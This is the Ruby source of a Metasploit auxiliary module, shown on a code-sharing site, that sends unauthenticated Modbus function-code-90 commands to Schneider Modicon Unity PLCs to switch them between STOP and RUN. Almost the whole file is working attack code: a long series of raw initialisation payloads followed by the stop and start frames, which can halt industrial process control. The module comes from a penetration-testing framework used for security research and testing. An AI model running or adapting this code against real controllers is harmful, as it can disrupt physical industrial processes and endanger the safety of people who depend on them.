Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/scada/modicon_command.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Rex::Socket::Tcp89def initialize(info = {})10super(update_info(info,11'Name' => 'Schneider Modicon Remote START/STOP Command',12'Description' => %q{13The Schneider Modicon with Unity series of PLCs use Modbus function14code 90 (0x5a) to perform administrative commands without authentication.15This module allows a remote user to change the state of the PLC between16STOP and RUN, allowing an attacker to end process control by the PLC.1718This module is based on the original 'modiconstop.rb' Basecamp module from19DigitalBond.20},21'Author' =>22[23'K. Reid Wightman <wightman[at]digitalbond.com>', # original module24'todb' # Metasploit fixups25],26'License' => MSF_LICENSE,27'References' =>28[29[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]30],31'DisclosureDate' => '2012-04-05'32))33register_options(34[35OptEnum.new("MODE", [true, 'PLC command', "STOP",36[37"STOP",38"RUN"39]40]),41Opt::RPORT(502)42])4344end4546# this is used for building a Modbus frame47# just prepends the payload with a modbus header48def makeframe(packetdata)49if packetdata.size > 25550print_error("packet too large, sorry")51print_error("Offending packet: " + packetdata)52return53end54payload = ""55payload += [@modbuscounter].pack("n")56payload += "\x00\x00\x00" #dunno what these are57payload += [packetdata.size].pack("c") # size byte58payload += packetdata59end6061# a wrapper just to be sure we increment the counter62def sendframe(payload)63sock.put(payload)64@modbuscounter += 165r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?66return r67end6869# This function sends some initialization requests70# I have no idea what these do, but they seem to be71# needed to get the Modicon chatty with us.72# I would make some analogy to 'gaming' in the73# bar-dating scene, but I'll refrain.74def init75payload = "\x00\x5a\x00\x02"76sendframe(makeframe(payload))77payload = "\x00\x5a\x00\x01\x00"78sendframe(makeframe(payload))79payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf980sendframe(makeframe(payload))81payload = "\x00\x5a\x00\x03\x00"82sendframe(makeframe(payload))83payload = "\x00\x5a\x00\x03\x04"84sendframe(makeframe(payload))85payload = "\x00\x5a\x00\x04"86sendframe(makeframe(payload))87payload = "\x00\x5a\x00\x01\x00"88sendframe(makeframe(payload))89payload = "\x00\x5a\x00\x0a\x00"90(0..0xf9).each { |x| payload += [x].pack("c") }91sendframe(makeframe(payload))92payload = "\x00\x5a\x00\x04"93sendframe(makeframe(payload))94payload = "\x00\x5a\x00\x04"95sendframe(makeframe(payload))96payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"97sendframe(makeframe(payload))98payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"99sendframe(makeframe(payload))100payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"101sendframe(makeframe(payload))102payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"103sendframe(makeframe(payload))104payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"105sendframe(makeframe(payload))106payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"107sendframe(makeframe(payload))108payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"109sendframe(makeframe(payload))110payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"111sendframe(makeframe(payload))112payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"113sendframe(makeframe(payload))114payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"115sendframe(makeframe(payload))116payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"117sendframe(makeframe(payload))118payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"119sendframe(makeframe(payload))120payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"121payload += "USER-714E74F21B" # Yep, really122#payload += "META-SPLOITMETA"123sendframe(makeframe(payload))124payload = "\x00\x5a\x01\x04"125sendframe(makeframe(payload))126payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"127sendframe(makeframe(payload))128payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"129sendframe(makeframe(payload))130payload = "\x00\x5a\x01\x12"131sendframe(makeframe(payload))132payload = "\x00\x5a\x01\x04"133sendframe(makeframe(payload))134payload = "\x00\x5a\x01\x12"135sendframe(makeframe(payload))136payload = "\x00\x5a\x01\x04"137sendframe(makeframe(payload))138payload = "\x00\x5a\x00\x02"139sendframe(makeframe(payload))140payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"141sendframe(makeframe(payload))142payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"143sendframe(makeframe(payload))144payload = "\x00\x5a\x01\x04"145sendframe(makeframe(payload))146payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"147sendframe(makeframe(payload))148end149150def stop151payload = "\x00\x5a\x01\x41\xff\x00"152sendframe(makeframe(payload))153payload = "\x00\x5a\x01\x04"154sendframe(makeframe(payload))155end156157def start158payload = "\x00\x5a\x01\x40\xff\x00"159sendframe(makeframe(payload))160payload = "\x00\x5a\x01\x04"161sendframe(makeframe(payload))162end163164def run165@modbuscounter = 0x0000 # used for modbus frames166connect167init168case datastore['MODE']169when "STOP"170stop171when "RUN"172start173else174print_error("Invalid MODE")175return176end177end178end179180181